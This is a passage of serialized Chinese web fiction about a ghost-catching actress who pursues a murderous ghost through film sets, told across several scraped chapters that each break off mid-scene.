左轻白看到火灾现场浓烟密布,火海中,逃不出去的人们撕心裂肺地哭喊,恐惧弥漫,现场仿佛人间地狱。 火场里有人想用手机打火警电话,但怎么也打不出去,手机没信号,金绮月为了弄障眼法,用鬼气搞了个罩子一样的东西罩在薛宅上空,这个罩子把信号给隔绝了。 左轻白“蹭”的一下睁开眼,狠狠地盯着正在跳舞的金绮月,咬牙切齿地吐出两个字:“疯子。” 金绮月停止了跳舞,对左轻白说:“影视行业的,最注重自己的外表了,被火烧死的样子丑死啦,他们不会喜欢,所以我又做了一件好事,我保护他们好看的皮囊不被火烧。不过他们还是死了,因为你知道的,火灾里百分之八十的死人都是被浓烟熏死的,而不是被火烧死的,他们是被熏死的。” 左轻白气笑了,“反正都是你害死的。” 金绮月指着身后那些硬邦邦的“兵马俑”,说:“刚死不久的人有个特点,身上一半人气一半鬼气,我把他们的人气集中在上半身,鬼气集中在下半身,把他们做成半身鬼。” “为什么要这么做?” “为了防你坏我事呗。半身鬼上半身的人气是可以掩盖下半身的鬼气的,如果不这么做,你一进组就嗅到鬼气,那就坏事了,我的实验还怎么做下去?” “实验?” “对啊,我在做一个实验,如果设计一个场景,给这个场景中的每个鬼分配一个独一无二的人设,这些鬼能不能按照这个人设一直一直演下去?” “就像薛宅这样?” “是啊。” “按理来说不可能。鬼的人设,不对,鬼设,跟它生前保持一致,不是你可以决定的。” 金绮月眼睛一亮,激动道:“我就知道轻白姐姐是个懂鬼的人。” 懂鬼的人?路回扶额,这都是些什么词? 左轻白冷冷地打断金绮月:“不要叫我姐姐,你应该比我老,别在这里装嫩。” 然而金绮月没理她,一意孤行地叫“轻白姐姐”。 金绮月说:“轻白姐姐也知道,鬼的鬼设跟它生前保持一致,不过有一种人可以满足我的需求,那就是演员。演员生前在演戏,死了也会一直演下去,只要给他一个角色,他就会变成那个角色,这就是我想要的呀。” “你只是为了测试鬼能不能演戏,就害死了整个剧组的人?” “轻白姐姐你生气了吗?轻白姐姐,你跟我一样有本事,怎么能为了一群废人生气呢?他们死了就死了呀。”金绮月嗲声嗲气地说,冷血到了极致。 左轻白愤怒得发抖。左轻白坚决地看向路回,对他说:“辛苦你,割点血给我。” 这次路回没跟左轻白讨价还价,他知道左轻白想干什么。路回在地上挑了一个锋利的石子,撸起 21. 真的好好笑啊 《当一个女明星会抓鬼[穿书]》全本免费阅读 周夙把手中的营养品放下,在路回身边坐下。 “医生说你要好好休息。”周夙说着,帮路回掖好了被子。 周夙在路回面前做惯了大哥,虽然他事业没有路回成功,但在生活上他习惯了照顾路回。 周夙皱了皱眉,有些心疼又有些地责备地说道:“怎么搞成这样?” “哥,你先别管我,有件事情我要跟你说。”路回一脸着急,“那个金绮月,哥你还跟她在一起吗?” “绮月是我女朋友,我们感情稳定。” “哥,我跟你说过了她是鬼,让你离她远一点,你怎么就是不听呢?” 周夙无奈地笑笑,“路回,你最近是不是工作太忙了,忙出臆想来了?鬼?唯物主义世界哪来的鬼?” “她真的是鬼,她非常残暴,她害了很多人……” “我说弟弟。”周夙打断路回的话,“是不是那个叫左轻白的演员跟你这么说的?左轻白跟绮月有矛盾,女演员之间那点小心思嘛,你应该懂,别什么都信。” “轻白是捉鬼师……” 周夙笑了起来,“越说越离谱了,鬼和捉鬼师?我还汤姆和杰瑞呢。” “哥我没跟你开玩笑。” “我知道你在追那个小演员左轻白,你给她资源,让她演女主,这么大个人了抛下工作一个人到山里探班,但你追归追,脑子别给追没了。” “这跟我追不追轻白没有关系,金绮月真的很可怕!” ?“路回你再这么说我就生气了啊,绮月是你嫂子,你这辈子唯一的嫂子。” “哥,我看你才是追金绮月把脑子给追没了吧!” 路回情绪一激动,身体一动,登时全身剧痛。 “别动别动。”周夙赶紧说,“躺好别乱动。” 路回缓了缓,问周夙:“剧组那边怎么样了?” “警方到了现场,在废墟中把剧组人员的遗体都找到了。虽然是火灾现场,但尸体居然完好无损,那些人是被烟熏死的,火一点没烧到他们身上。尸体面目完好,很好辨认,警方已经顺利联系上了死者家属。” 路回长长地叹了口气,满心悲哀。可他除了悲哀,又能做什么呢? 周夙继续说道:“这么大一场火,竟然没有一个人报警,甚至连目击者都没有,太奇怪了。更奇怪的是,遇难者的尸体是怎么做到在火场中保持完好的?这一切都匪夷所思,看来又是一桩悬案啊,今年发生的悬案太多了。” 路回无力地说:“金绮月干的。” 周夙瞥了路回一眼,都懒得回他。 “你有工夫怀疑绮月,不如怀疑那位还在昏迷的左轻白。”周夙说,“她是剧组唯一的幸存人员,火灾的真相是什么,恐怕只有她知道。” “我也知道。” “行,那就你们俩都知道。”周夙懒得跟路回争,“警方想找左轻白问话,但她还没醒,所以他们就来联系我,说想来问你一点问题。他们几天前就联系我了,我跟他们说你伤得很重,叫他们晚点再来,让你多休息几天。” “他们什么时候会来?” “就今天,应该很快就到了。” 周夙的话还是挺准的,没过多久,两个警察来到路回的单人病房,来做笔录。 路回躺在病床上,周夙坐在病床旁,两个警察拿着笔记本和笔在记录。 “路先生,你是说,这场火灾是只鬼干的?”警察A一脸懵逼,警察B也一脸懵逼。 “确切地说,火虽然不是她放的,但是她做了手脚,让外面的人看不到火,里面的人电话打不出去,所以没人来救火,里面的人活活被烧死,她就是杀人凶手。” 警察A用笔戳了戳自己的头发,又问:“哦……那这个鬼杀人的目的是什么?” “她让整个剧组都变成鬼陪她演戏。” “这鬼还有个演艺梦?” “这鬼现实生活中就是个演员,她叫金绮月。” “不是说鬼吗?现在又现实生活了?” “这不冲突啊,鬼是可以在现实中生活的,它们可以做任何职业,比如演员、经纪人。” 警察B用笔指了指自己的鼻子,问路回:“那你看看,我是不是鬼?” “我不知道,我看不出来,要找捉鬼师来看,捉鬼师才辨别得出你是不是鬼,我是助道者。” 警察B同情地看向周夙,问:“路先生这种情况多久了?” 周夙叹气道:“从火灾现场回来就这样了。” 警察A说:“是不是在现场受刺激了,精神错乱了?” 警察B道:“虽然这是件非常悲哀的事情,但是……真的好好笑啊!” 说完,两个警察对视一眼,大笑起来。 周夙扶额,说:“我会带我弟弟去精神科或者心理 22. 别客气 《当一个女明星会抓鬼[穿书]》全本免费阅读 昏迷中的左轻白灵魂飘回了她师父的道观。 道观里,玄逸盘腿坐在蒲团上,他不是在打坐,而是聚精会神地拿着手机在看网文,一看书名,书名叫《登顶娱乐圈女王》,女主的名字叫金绮月。 一个仙风道骨的老道人在看烂俗网络小说,这画面蛮搞笑的。 老道人旁边,左轻白躺在地上。左轻白是被冰凉凉的地面凉醒的,她一醒来看到的就是玄逸看网文的一幕。 “我又回来了?师父?”左轻白揉揉眼睛,惊讶道:“师父也喜欢看网文?” “看网文怎么了?师父觉得很好看。”玄逸摸了摸全白的胡子说,“你能看,师父为什么不能看?” “你看的是什么?《登顶娱乐圈女王》?你在看这本?” “嗯。” “这本我看完了,剧情我都能背给你听。” “那可不一定,内容有改动。” “内容改了?” “是啊。”玄逸翻出几个章节给左轻白看,“你看,你这个配角的戏份变多了。” “还真是。”左轻白惊讶道。 “而且小说还在更新。” “还在更新?不是早就完结了吗?” “突然更新了番外。” “番外是什么内容?” “番外讲的是女主角金绮月接了一部新戏,你说奇不奇怪,番外着重写的不是女主角的故事,而是这部新戏的剧情。” 听到这里,左轻白心中一动,连忙问:“番外叫什么名字?” “前世今生,名字也不搭调,是不是?” 左轻白却激动地握住了玄逸的手,说:“前世今生?取这种名字,它讲的就是金绮月的前世啊!太好了,金绮月这个女鬼的来历终于可以弄明白了。” 玄逸看着左轻白,欣慰地点了点头,“我的小徒弟就是聪明,一点就通,孺子可教。” “快让我看看最新番外。”左轻白着急地去抢玄逸的手机。 “别急。”玄逸却说,“看文字多累,带你看能动的画面。” 说着,玄逸在手机屏幕上画了道符,又在左轻白额头上画了道符,左轻白闭上眼睛,发现自己身处一片白茫茫的雪地之中。 左轻白进入了金绮月的前世。 原来五百年前的时候,金绮月所在的世界也是有捉鬼师的,那个世界捉鬼师的传袭制度跟左轻白这个世界不一样,左轻白这里是师徒制,那边是家族传承制。那个世界有个姓舒的家族,世世代代肩负着捉鬼重任。 左轻白看到远处有个很大的村庄,村庄的房子被大雪覆盖,看起来像晶莹剔透的雪房子一样,整个村庄像童话里的冰雪世界。 左轻白朝那个村庄走去,与此同时,一对赶路的兄妹也在往那个村庄走。现在是五百年前,这对兄妹穿的是古人的衣服。 左轻白走向他们,每走一步,雪地都深深陷下去一个脚印。 “喂!你们从哪里来?我们结伴吧!”左轻白向那对兄妹说。 可那对兄妹没有理左轻白,他们好像看不到左轻白,也听不到左轻白说话。左轻白这才反应过来,她只是作为旁观者来观看这个故事的,就像进入了一个4D电影,她不是这个世界的人,参与不进去。 左轻白只好跟在这对兄妹身后。 从兄妹的谈话中,左轻白知道了他们的身份,哥哥叫舒首安,妹妹叫舒茉安,都是舒家的捉鬼师,两人赶路遇到了大风雪,看到前方有个村庄,想过去借宿一宿,等风雪停了,明天再启程。 左轻白跟随着这对兄妹走近村庄,然而走近后,左轻白立即变了脸。 远看看不清,走近后一看,原来这个冰雪村庄到处笼罩着鬼气。 村里住着鬼,而且是很多鬼。 左轻白是捉鬼师,舒家兄妹也是捉鬼师,左轻白看出来了,舒家兄妹也看出来了。 舒首安向舒茉安使了个眼色,意思是小心行事。 这时,一个穿着红棉袄,戴着红帽子的小女孩跑到了村门口,这个小女孩长得粉雕玉琢,跟个年画娃娃似的,看着格外讨喜。 舒茉安的手放到了剑柄上,如果这个小女孩袭击她,她会马上拔剑。 小女孩站在村门口,眨着大大的眼睛,好奇地打量舒家兄妹。 “你们是谁?”小女孩问。 舒首安低声对舒茉安说:“不对,这小女孩是人,不是鬼。” “我们是赶路的人,请问能进村躲躲风雪吗?”舒首安问。 小女孩啃着手指说:“你们是外面来的人吗?我们村已经好久没有外人来过了,你等一下,我去问问村长爷爷。” “好。我们等你。对了小丫头,你叫什么名字?”舒茉安问。 小女孩一边跑去找村长一遍回答:“金绮月。” 旁观的左轻白拳头握紧。 这个时候金绮月还不是鬼,她是人。金绮月还是人的时候就已经跟鬼混在一起了吗? 金绮月又跑了回来,对舒家兄妹说:“村长爷爷说,你们可以进来,他说村里很久没有来客人了,你们来,大家都很高兴,在祠堂摆了丰盛的宴席招待你们,我带你们去祠堂吧 23. 不止有一个时空 《当一个女明星会抓鬼[穿书]》全本免费阅读 舒首安把手放在剑柄上,仿佛下一秒就要把剑拔出来,砍了席间这些鬼,然而舒茉安阻止了他。 舒茉安用眼神制止舒首安,示意舒首安不可这么做。 舒茉安笑盈盈地对村长说:“我们不是很饿,你们先吃吧,不用管我们。” 宴席结束后,村长收拾出自家的两间房给舒家兄妹住。 在村长家里,舒茉安问金绮月:“你在村里多久了?” “我从一出生就在这里,我今年十一岁了。”金绮月答道。 “你喜欢村长爷爷吗?” “当然喜欢。村长爷爷对我最好了,村长爷爷是这个世上对我最好的人。不光村长爷爷,村子里的所有人都对我特别好,我喜欢咱们村。” 这时村长刚好走进来,村长乐呵呵地告诉舒家兄妹:“这孩子是个孤儿,吃百家饭长大的,咱们村所有人都把她当成了自己的孩子。” 晚上,当舒家兄妹单独呆在一起时,舒首安问舒茉安:“刚才在祠堂,你为什么不让我杀它们?它们是鬼。” “我是为了那小女孩考虑。”舒茉安说,“那小女孩从一出生就住在这里,在这住了十一年,她把这些鬼当成亲人,她还小,我怕她接受不了亲人在自己眼前被杀。” “你想怎么做?” 舒茉安从包袱里拿出一瓶蒙汗药,说:“这瓶蒙汗药药性很猛,给那小女孩吃了,能让她睡上三天三夜。我们给她吃下蒙汗药,等她睡着之后再动手,别让她亲眼看到村子里的鬼被杀。杀这些鬼不需要三天三夜,等鬼杀完了,小女孩还没醒,我们趁她没醒将她带走,送到普通人家里养着,舒家每隔几个月派人去看她,教她做人的道理,引导她走正道,等她懂事之后,理解了人鬼殊途,再告诉她这个村子的真相。” 舒首安认可了舒茉安的方案。 那天晚上,舒茉安骗金绮月喝下混有蒙汗药的水。 金绮月睡着后,舒家兄妹正式大开杀戒。 当晚,百鬼哀嚎,村子一夜之间消失得无影无踪,仿佛从未存在过。 次日清晨,舒家兄妹背着还在熟睡的金绮月,踩着厚厚的雪地,继续上路。 后来,舒家兄妹把金绮月交给一户姓赵的人家,嘱咐他们好好照顾她。 —————————————— 左轻白睁开眼,从金绮月的故事回到现实世界。 左轻白把这次看到的故事跟上次看到的另一个左轻白的记忆联系起来,另一个左轻白她外婆姓舒,祖上是捉鬼师,舒家祖上是被金绮月灭掉的,舒家跟金绮月的一场大仗,直接导致那个世界捉鬼师断代。 左轻白喃喃自语:“也就是说,舒家兄妹从鬼的手中救了金绮月,金绮月却恩将仇报,把舒家几乎杀了个干净?真是个养不熟的恶鬼。” 左轻白问玄逸:“我要怎样才能杀掉金绮月。” “金绮月是个神通鬼……你等等啊,我翻翻书。”玄逸 24. 我觉得他知道 《当一个女明星会抓鬼[穿书]》全本免费阅读 左轻白醒来后,警察问了她跟火灾相关的事。 左轻白没那么傻,她没跟警察说是鬼干的,左轻白说她进组没多久就起火了,她从火场跑了出来,但跑出来时是晚上,天很黑,她没看清,脚下一滑,滑倒悬崖底下去了,所以才全身是伤,后来她用尽全力从悬崖底下爬上来,遇见路回就晕倒了,是路回救了她。 没有证据表明左轻白有纵火嫌疑,警察没有为难她。 从医院出来后,左轻白在路回的别墅里养伤。左轻白把玄逸占卜的结果跟路回说了。 左轻白说:“金绮月害了那么多人,不除掉她,天理难容。能杀死金绮月的法器弥月刃在拍戏片场,现在只有这一条线索。你以后多给我安排些工作,把我塞到各大剧组去,我要进行地毯式搜索。” 路回想到什么好笑的事情,说道:“我把你塞到各大剧组去,这样一来那些狗仔又要乱说了,他们会说我为了追你给你砸资源,说你是资源咖。” “嘴长在他们身上,他们说他们的,我捉我的鬼。”左轻白满不在乎,“至于我俩那些乱七八糟的绯闻……”左轻白拍了拍路回的肩膀,说:“身正不怕影子歪,我俩清清白白,不怕他们乱讲。” “我俩清清白白?” “对啊。我是捉鬼师,你是助道者,我们两个为了除掉恶鬼联手,是清清白白的革命友谊。”左轻白的表情坚定得像宣誓入党的党员。 路回有些落寞地笑了笑,轻声说:“那要是我心里不清白呢?” 他声音很轻,左轻白没听清楚,反问了句:“你说什么?” “没什么。”路回说,“你进组这件事,我会安排的。” “对了,我还没问你,那天你怎么会突然出现在薛宅?”左轻白问路回。 “我去探你班啊,你没反应过来吗?”路回扶额。 左轻白瞪大眼睛道:“哇,你还真是个好老板。你们公司签的所有艺人,你都会亲自去探班吗?” “不会。”路回果断道,“重要的才会。” 左轻白嗤之以鼻道:“资本家。能帮你赚钱的你就探班,不能赚的就不探,是吧?” 路回无语道:“我寻思着你还没帮我挣到钱吧……而且我探班是一个人去的,我都没带别人,你就没意识到什么吗?” 说完,路回不高兴地上楼去了,他边上楼边小声嘀咕:“清清白白……迟早有一天不清白……” 下午的时候,左轻白闲来无事,在路回别墅前的院子里乱逛。 左轻白曾夸路回的院子真大,路回漫不经心地说,这有什么,他外公家的院子是这里的十倍。当时左轻白就震惊了,十倍是个什么概念?一个超级大的公园?有钱人的世界她想象不到。 左轻白回忆原书剧情,书里提到,路回外公家比路回家还厉害,是真正的贵族,路回外公根本看不上路回他爸,不过对路回这个外孙很好。路回他爸之所以不肯认周夙,就是因为路回外公警告过路回他爸,不许把外头女人生的孩子带回家,否则要他好看。路回他爸忌惮路回外公家的势力,不敢把周夙带回家。 左轻白正散着步,突然,眼尖的她发现有什么东西从草丛中窜了过去。 是蛇。 左轻白扑了上去,手疾眼快地捏住那条蛇的七寸。 是条小蛇,但当小蛇转过头来时,左轻白发现,这条蛇长着张诡异的人脸,它是鬼奴,但左轻白在它身上没有闻到鬼气。 左轻白立即联想到在薛宅出现的那条人面蛇,那条蛇也没有鬼气。 薛宅是金绮月控制的,毫无疑问,薛宅那条人面蛇是金绮月的鬼奴。 薛宅那条人面蛇没有鬼气,左轻白手里这条也没有鬼气,左轻白手里这条跟薛宅那条一样,都是金绮月的鬼奴。 左轻白找来一把剪刀,把人面蛇剪成两半,果然,一半有鬼气,一半没鬼气,跟半身鬼的原理一样。 左轻白咬牙切齿道:“好你个金绮月,你研究出能隐藏鬼气的半身鬼,又用同样的方法,制造出能隐藏鬼气的鬼奴,以后想防你,难度直线上升。” 左轻白把人面蛇收进符纸里,左看右看,决定在院子的围墙上画满驱鬼符,防止金绮月再派鬼奴进来。 左轻白画完了符,得意洋洋地站在院子中央。 “你在干什么?”突然,周夙出现在了院门前。 周夙按下密码,院门开了,周夙走进院子。 周夙跟路回这对同父异母的兄弟关系确实不错,路回把自己院子的密码都告诉周夙了。 “周夙?”左轻白打量周夙。 周夙虽然跟金绮月在一起,但神通鬼这种等级的鬼,不会在跟自己接触过的人或物身上留下鬼气,所以周夙身上没有鬼气。 金绮月不留鬼气,她还会制造能隐藏鬼气的鬼奴,这家伙逆天了。 周夙看都没看左轻白一眼,从左轻白身旁走了过去。 “站住。”左轻白突然说。 左轻白想起慈善晚宴那次周夙跟金绮月的对话,走到周夙身边,质问道:“慈善晚宴上让我倒立弹钢琴,是你安排的吧?” 左轻白不是个受了欺负能忍气吞声的人,冤有头债有主,她事事都要说清楚。 “是又怎样?”周夙冷冷地说。 左轻白看他这态度,气不打一处来,“那条绳子是有问题的对吧?会出人命的知不知道!” 原主就是倒立弹钢琴的时候绳子突然断了,头着地摔下来进了医院,九死一生。 周夙冷冷地一瞥左轻白,“你这不是没死吗?” “你这人……”左轻白被周夙的冷漠惊到了。 “你有什么好委屈的?”周夙对左轻白说,“不要忘了,是你先在剧组欺负绮月,你这是自作孽不可活。” 周夙提到金绮月,左轻白想到这俩是男女朋友的关系。 周夙到底知不知道金绮月是鬼?左轻白在心里想。 “ 25. 捉鬼师演捉鬼师 《当一个女明星会抓鬼[穿书]》全本免费阅读 路回效率很高,很快就把左轻白塞到了新剧组。 这次的资源就厉害了,拍的是国内著名导演申崇宇的戏,申崇宇获奖无数,别看左轻白这次只演女三号,但就算是女三号,竞争也相当激烈。申崇宇导演是个有脾气的,路回塞人他一开始强烈拒绝,后来松动的原因是他看了左轻白的试戏片段,意外地觉得不错,气质很适合,才同意让左轻白进组演女三号。 “你不错嘛,挺有灵气。”申崇宇对左轻白说,“我选演员不看她有多少拍摄经验,只看她在演戏方面有多少灵气。年轻一辈的女演员里,目前为止只有两个人让我觉得有灵气,一个是你,另一个叫金绮月,我下部戏已经定了她来演一个角色,你要是这部戏表现好的话,我下部戏还找你,你跟她可以演对手戏。” 左轻白闻言吓了一跳,差点被自己的口水呛到,连连咳嗽。 在原著小说中,申崇宇是金绮月的贵人、伯乐兼好友,不过现在这个时间节点他俩还不熟。 左轻白尴尬地挠了挠头,笑哈哈地说:“谢谢导演,我一定会好好努力的。” 虽然左轻白嘴上这么说,但她心里想的却是:在找到弥月刃之前,拜托别让我跟那个恶鬼在剧组碰面。 这是一部古装妖魔题材的商业大片,名字叫《千妖百鬼录》。左轻白心想路回还挺会帮自己选戏,这部戏太适合自己了,简直就是为自己量身打造的,难怪申崇宇导演看完自己的试戏片段后觉得自己气质适合,捉鬼师演捉鬼师,能不适合吗? 这部电影的阵容非常强大,俩大花加一影帝坐镇,左轻白是咖位最小的一个。这时左轻白才忽然想起来,原著小说里提到过这部电影,说这部电影宣发的时候两位主要女演员撕番撕得厉害,简直到了血雨腥风的地步。撕番就是争谁是女一,左轻白忽然有点小激动,撕番到底能有多激烈,她可以现场吃瓜啦。 女角色那边要撕番,男角色这边不用,因为剧本是唯一男主,饰演男主的是影帝肖恒。 肖恒长得帅,身材好,演技好,性格佳,同时他还是个好男人,肖恒已经结婚了,结婚后肖恒再也没传出过绯闻,妻子是圈外人,为了不让妻子被打扰,肖恒把妻子保护得很好,外界不知道他妻子的名字,不知道他妻子是哪里人,也没人见过他妻子的照片,一切信息被保护得严严实实。 肖恒和妻子很恩爱,肖恒手上的婚戒从来没摘下来过,上节目时他十句话有八句不离老婆,一提起老婆,肖影帝脸上就露出幸福的笑,人夫感十足。肖影帝还经常在微博上晒自己亲手给老婆做菜的照片,羡煞一众网友。不仅如此,肖影帝会记得他跟他老婆的每个纪念日,如恋爱纪念日、结婚纪念日、他老婆的生日等,每到这些纪念日,肖影帝都会准时发微博庆祝,并附上给老婆买的小礼物的照片。 几乎所有人都说肖影帝的妻子上辈子一定是拯救过银河系,这辈子才会遇到肖影帝这样一个完美的老公;所有的女孩子都在幻想自己以后也能遇到像肖影帝这样的另一半。 电影《千妖百鬼录》男主饰演者官宣的那天,媒体第一时间采访了肖恒。 “再次跟申导合作,心情怎么样?”记者问。 肖恒露出一个迷人的微笑,回答道:“非常激动也非常开心。这是我第二次跟申导合作了,申导是位非常专业、非常有想法的导演,上次我们合作得很愉快,我从申导身上学到了很多,期待这次能碰撞出不一样的火花 26. 你还能想点别的不 《当一个女明星会抓鬼[穿书]》全本免费阅读 《千妖百鬼录》马不停蹄地开机了,剧组需要辗转几个地方进行拍摄,其中一个拍摄地在秀山影视城。 影视剧拍摄不像很多人以为的那样是顺着剧本从前往后拍的,而是会把在同一个场景发生的戏归类到一起,先拍完一个场景的戏,再去拍下一个场景的戏,节省在不同场景之间辗转的时间成本。所以很有可能演员上午还在拍角色天真烂漫的戏份,下午就直接拍黑化的剧情了,状态切换要非常快。 《千妖百鬼录》拍摄的前两个星期,左轻白会跟随剧组待在秀山影视城,把需要在秀山影视城拍摄的部分拍完,再去下一个拍摄地。 因为秀山影视城是第一个拍摄地,所以开机仪式就在秀山影视城举行。 开机仪式上,出品人上第一柱香,制片人上第二柱,第三柱香时才轮到导演申崇宇上,然后再到剧组其他人。 许多人以为导演的话语权最大,其实不然,出品人、制片人的权限都比导演大,出品人是投资方,出钱的都是爸爸;制片人是整个影视项目的核心,从项目筹备到后期宣发,都由制片负责;导演只负责拍摄和管理剧组成员;编剧权限最小,只负责写剧本,而且写出的剧本前面那些人都可以改动。 开机仪式安排得特别隆重,连舞狮舞龙都安排上了,非常热闹。 在戏里饰演反派的男演员傅河悄悄对左轻白说:“现在各个剧组的开机仪式一个比一个隆重。” “为什么?”左轻白问。 “你不知道吗?” “知道什么?” “今年也不知道是影视行业哪路风水不顺,好多剧组出事。年初的时候,有个剧组拍爆破戏,一个替身演员被炸死了;一个月后,又有一个剧组出现溺水事故,死了两个人;还有前段时间闹得沸沸扬扬的那场火灾,就是你亲身经历的那场,你应该最了解,整个剧组只有你逃出来,其他人全死了!” 傅河说着说着,把自己说得鸡皮疙瘩起了一身。傅河道:“虽说剧组拍戏都有风险,每年总会有那么一两个剧组出事,但今年出事出得太频繁了你没发现吗?今年还没过去一半呢,已经出了多少场事故了?很多人都在怀疑是不是风水问题,或者有鬼神作怪,所以各个剧组的开机仪式办得一个比一个隆重,就是为了驱赶小鬼,求祖师爷保佑,连上的香都是提前几个月去庙里供过的!” 左轻白自信地说:“你放心,咱们剧组有我在,不会出事的,我是捉鬼师。” “喂,不要入戏太深了,你只是演了一个捉鬼师。” “演的捉鬼师也是捉鬼师啊。”左轻白笑道。 …… 第一个星期,一切正常,拍摄进行得很顺利,就是左轻白快累死了。 演员拍起戏来没有八小时工作制,因为大多数演员的片酬是按天来计算的,每天多少钱这样。既然付了演员一天的钱,那么剧组就一定会想办法物尽其用,恨不得演员这一天24小时都在拍摄,尽早拍完该角色所有戏份,不然延迟一天拍摄就要多付一天钱。 有一天晚上左轻白凌晨四点还在吊威亚,她边拍边在心里哭,心想自己捉鬼都没这么累过。 但好在作为一个正经在山上拜师修炼过的捉鬼师,左轻白有武术功底,体能也好,像什么动作戏、吊威亚,左轻白做起来都比别人轻松很多,动作也很漂亮,这点连导演都在夸。 左轻白在剧组跟道具老师混得很熟,道具组有很多兵器,左轻白全都摸过一遍。 左轻白要找弥月刃,玄逸占卜得到的结果是弥月刃在片场,线索只有这么模模糊糊的一条。左轻白想到片场经常会有拍戏用的道具兵器,弥月刃或许是一把兵器,阴差阳错地混进拍戏用的道具里了,所以左轻白有意跟道具老师搞好关系,没事就去摸摸组里的道具,看看有没有她要找的弥月刃。 然而左轻白把道具摸了个遍,也没有找到有哪个像弥月刃的。 左轻白经常在片场舞刀弄剑,她是真正的练家子,舞起来又飒又威风。剧组的工作人员每次看到左轻白舞剑,就会叫摄影师拍下来: “快快快,拍下来,这是很好的宣发素材,以后电影宣传的时候可以用的。配的文案我都想好了,就说我们剧组有位真正的刀马旦。看这动作,干净、有力、漂亮,到时候找几个营销号吹一波,效果一定很好!” 左轻白在秀山影视城的行程快接近尾声的时候,路回突然来到剧组探班。 路回来之前没有提前通知左轻白,来的时候也很低调。 27. 伤是怎么来的 《当一个女明星会抓鬼[穿书]》全本免费阅读 “路少爷,好久不见。”就在这时,肖恒走了过来。 路回跟肖恒认识,见到肖恒,路回恢复了矜贵自持的模样,礼貌地跟肖恒握了握手,寒暄道:“是啊,上次跟肖影帝见面还是在慈善晚宴。” 肖恒看了看左轻白,又看了看路回,笑道:“那次慈善晚宴,轻白最让人印象深刻。”说着,肖恒向左轻白竖起一个大拇指,眼中满是赞赏。 肖恒笑着问:“上次二位还针锋相对,转头的工夫,就冰释前嫌了?” 路回解释道:“上次是个误会。” 肖恒却略过了路回的解释,笑盈盈地对左轻白说:“轻白,一会一起吃午饭吧,我想跟你聊下剧本。咱们这两个角色对手戏挺多的,我想要把最好的效果呈现出来。” 肖恒有一双完美的桃花眼,无论看谁都含情脉脉,他望向左轻白的眼神柔情似水,像是在看情人一样,没有人不会为之沦陷。 “好啊。”左轻白一口答应。 “不行。”路回表示反对。路回说:“我是专程来探班轻白的,午饭当然是我们俩一起吃。肖影帝,你们聊剧本不急在一时吧?” 左轻白倒是坦坦荡荡大大方方,她轻松道:“这有什么好纠结的,一起吃咯。我知道影视城附近有个不错的餐厅,上次肖恒老师带我去过,一起去吧,我请客。不过影视城条件有限,不知道这里的餐厅能不能合路少爷口味,希望路少爷不要嫌弃。” 剧组里常用“老师”称呼人,比如“编剧老师”、“道具老师”、“化妆老师”,演员之间,前辈叫小辈直接叫名字,小辈叫前辈一般会在姓名后面加个老师,就比如肖恒叫左轻白“轻白”,左轻白叫肖恒“肖恒老师”。左轻白不是个毫无情商的人,她进了这行后,周围人是怎么称呼人的,她很快就学会了。 午饭时间,左轻白和肖恒跟剧组请了假,带上路回,三人一起去左轻白说的那家餐厅用餐。 这家餐厅是影视城周边最好的餐厅之一,但显然跟路回平时吃的有不小差距。虽说路回贵气而不娇气,但养刁了的胃口一时半会妥协不了。不过路回是个有教养的,好吃的他就多吃几口,不好吃的他就少吃几口,而不会对这些菜指指点点或是对厨师、餐厅多加非议。 上午拍戏时肖恒一直穿着戏服,因为是古装,所以戏服把手臂遮得严严实实,中午温度升高,吃饭的时候肖恒把戏服脱掉,把手臂露出来。左轻白这才发现,肖恒手臂上有一块类似烫伤的疤,疤是新的,面积不大,但是形状很有趣,像个简笔画的小人。 左轻白看到这个伤疤时,愣了一下。 这个伤疤普通人看到只会说一句“形状挺特别”,但作为捉鬼师的左轻白,对这个伤疤再熟悉不过了。 捉鬼术中的入门法术叫招魂术,初级捉鬼师在学这门法术的时候如果不得要领,经常弄伤自己,弄伤自己留下的疤就长这样。左轻白以前学招魂术时也弄伤过自己,也留下过类似的伤疤,过了一个月伤疤才渐渐淡去,后来在玄逸的指点下,左轻白掌握了招魂术的要领,就再也没弄伤过自己。 肖恒手上有学习招魂术留下的伤疤,那是不是说明肖恒也是捉鬼师? 左轻白想起玄逸占卜得到的信息:最近可能会有其他捉鬼师穿进书中。 左轻白看向肖恒的眼睛一亮,激动和惊喜的情绪瞬间冒了出来,她心想:太好了,我有同行了,我再也不是孤军奋战了! 可左轻白转念又一想:他怎么还在学招魂术这种入门法术,莫非他只是个初级捉鬼师?唉,那可就难办了,金绮月连我都难对付,他一个初级捉鬼师就更对付不了了。帮不上我的忙事小,万一他碰上金绮月那恶鬼,没法自保,可怎么办? 左轻白脑子快速旋转,又想道:要不这样,他到现在还没练好招魂术,一定是因为修炼的方法错了,就让我来指点指点他,帮助他快速进步,等他实力上去了,不仅他自己有能力自保,我也多了个对付金绮月的得力助手。 左轻白一边想一边点头,看向肖恒的眼神都 28. 围着她转 《当一个女明星会抓鬼[穿书]》全本免费阅读 路回气不打一处来,他坐回座位,故意咳嗽一声。 左轻白没有理他,继续与肖恒四目相对。 路回把手伸到桌下,捏了一把左轻白,左轻白才回过神来。 以路回的教养,他二十几年来从来没有做过捏女孩子这种事情,这是第一次,实在是逼急了。 “都吃好了吗?”路回问。 “吃好了,咱们走吧。”左轻白依旧大大方方,欢快地说道。 有时候左轻白真的大大方方得让路回觉得自己很猥琐,这也是路回活了二十几年第一次有这种感觉。 三人走出餐厅,路回对左轻白说:“轻白,你跟我来一下,我有些事情要跟你说。”说完他还加了一句:“工作上的事。” 路回名义上是左轻白的老板,老板找员工聊工作上的事,太正常不过。 肖恒识趣地点点头,对路回和左轻白说:“那我先走了。” 肖恒先回剧组,路回带左轻白来到自己停车的地方,打开后排车门,让左轻白上车。 左轻白不知道路回想干嘛,乖乖上去了,反正路回武力值远低于左轻白,左轻白不怕他做什么,再说他俩现在是捉鬼合作伙伴,是同一条战线上的人,左轻白对路回很是信任——战友间的那种信任。 “发生什么事了?金绮月来找你麻烦了吗?”左轻白一脸严肃地问。 路回拳头都捏紧了,气道:“你能想点跟鬼无关的事情吗?” “我是捉鬼师,你想让我怎么跟鬼无关?神经。”左轻白毫不客气地怼回去。 路回双手抱臂,气呼呼地说:“你跟剧组的人说话,也句句不离鬼?” 左轻白翻了个白眼,满嘴跑火车:“我跟剧组的人都不说话的。” “你跟剧组的人不说话?信你就见鬼了!” “路大少爷,你跟着我见的鬼还少吗?” “咱们不谈鬼了行吗?刚才我离座,你跟肖恒在聊什么这么开心?” 路回醋意都浓成这样了,可偏偏左轻白什么也没闻到。 